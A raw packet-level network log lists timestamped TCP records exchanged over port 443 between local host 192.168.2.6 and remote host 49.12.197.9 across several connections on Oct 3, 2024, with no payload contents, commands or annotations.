Oct 3, 2024 03:36:11.454785109 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.454801083 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.454910994 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.480181932 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.480206966 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.480334044 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.480360031 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.480607033 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.508219957 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.508244991 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.510541916 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.510557890 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.510770082 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.528004885 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.528028011 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.528116941 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.528136969 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.528383970 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.549788952 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.549807072 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.549901962 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.549923897 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.550106049 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.571676970 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.571695089 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.573545933 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.573559999 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.573703051 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.587928057 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.587948084 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.588052034 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.588071108 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.588293076 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.605633974 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.605650902 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.608539104 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.608547926 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.608948946 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.618467093 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.618493080 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.618562937 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.618570089 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.618782997 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.627094984 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.627144098 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.627209902 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.627209902 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.627218008 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.627402067 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.637298107 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.637341976 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.637379885 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.637398005 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.637433052 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.637433052 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.645534992 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.645550013 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.647411108 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.647418976 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.649617910 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.654948950 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.654963970 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.655402899 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.655410051 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.656508923 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.664299965 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.664357901 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.664434910 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.664434910 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.664441109 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.664509058 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.671740055 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.671849966 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.671880007 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.671891928 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.671930075 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.671930075 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.692405939 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.692429066 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.692563057 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.692570925 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.692667007 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.900734901 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.900759935 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.900909901 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.900922060 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.900998116 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.901115894 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.901129961 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.901186943 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.901191950 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.901242018 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.901638031 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.901652098 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.901693106 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.901700020 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.901735067 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.902287006 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.902299881 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.902347088 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.902350903 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.902380943 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.905514956 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.905529022 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.905575037 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.905579090 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.905610085 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.906661987 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.906675100 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.906742096 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.906745911 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.906790972 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.907696009 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.907711029 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.907754898 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.907759905 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.907788038 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.909419060 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.909431934 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.909473896 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.909478903 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.909507990 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.911060095 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.911075115 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.911123991 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.911128044 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.911155939 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.912658930 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.912673950 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.912720919 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.912724972 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.912754059 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.914099932 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.914115906 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.914160967 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.914166927 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.914187908 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.915142059 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.915155888 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.915198088 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.915203094 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.915231943 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.916480064 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.916493893 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.916541100 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.916546106 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.916575909 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.916811943 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.916826010 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.916868925 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.916873932 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.916902065 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.917687893 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.917701960 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.917747021 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.917752028 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.917779922 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.918643951 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.918661118 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.918704033 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.918710947 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.918740034 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.919306993 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.919321060 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.919347048 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.919364929 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.919375896 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.919404030 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.919410944 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.919425011 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:11.919459105 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.919687033 CEST	49733	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:11.919698954 CEST	443	49733	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:12.169722080 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:12.169774055 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:12.169848919 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:12.170116901 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:12.170130014 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:12.845588923 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:12.845715046 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:12.846169949 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:12.846187115 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:12.848033905 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:12.848061085 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.286094904 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.286120892 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.286138058 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.286200047 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.286273956 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.286310911 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.286374092 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.316978931 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.316999912 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.317090988 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.317102909 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.317137957 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.386600018 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.386630058 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.386678934 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.386692047 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.386739016 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.418987036 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.419013977 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.419081926 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.419115067 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.422583103 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.456404924 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.456429958 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.456494093 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.456501961 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.456553936 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.487329006 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.487360001 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.487472057 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.487479925 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.487550974 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.506639004 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.506659031 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.506737947 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.506746054 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.506783009 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.527812958 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.527829885 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.527899027 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.527908087 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.527952909 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.542884111 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.542901039 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.542982101 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.542994976 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.546267033 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.557945967 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.557976961 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.558058977 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.558068991 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.558109999 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.575500965 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.575524092 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.575579882 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.575588942 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.575622082 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.575640917 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.589325905 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.589344025 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.589378119 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.589385986 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.589437008 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.604687929 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.604706049 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.604775906 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.604784966 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.604820967 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.616348028 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.616364002 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.616446018 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.616453886 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.616493940 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.625413895 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.625431061 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.625520945 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.625529051 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.626569986 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.635394096 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.635413885 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.635488987 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.635497093 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.638582945 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.644546032 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.644561052 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.644620895 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.644629955 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.646583080 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.651783943 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.651808023 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.651845932 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.651854038 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.651904106 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.662234068 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.662256956 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.662347078 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.662379980 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.662569046 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.681565046 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.681585073 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.681673050 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.681689024 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.681729078 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.696966887 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.696985006 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.697053909 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.697067022 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.698577881 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.708726883 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.708744049 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.708827972 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.708867073 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.710580111 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.717674971 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.717705011 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.717762947 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.717792988 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.717809916 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.717835903 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.727646112 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.727668047 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.727763891 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.727782011 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.729270935 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.735569954 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.735590935 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.735671043 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.735687017 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.735717058 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.735733986 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.744019985 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.744044065 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.744115114 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.744129896 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.744147062 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.744170904 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.760560989 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.760587931 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.760698080 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.760720968 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.760762930 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.789370060 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.789467096 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:13.789472103 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.789525032 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.832833052 CEST	49735	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:13.832878113 CEST	443	49735	49.12.197.9	192.168.2.6
Oct 3, 2024 03:36:14.092621088 CEST	49736	443	192.168.2.6	49.12.197.9
Oct 3, 2024 03:36:14.092684984 CEST	443	49736	49.12.197.9	192.168.2.6
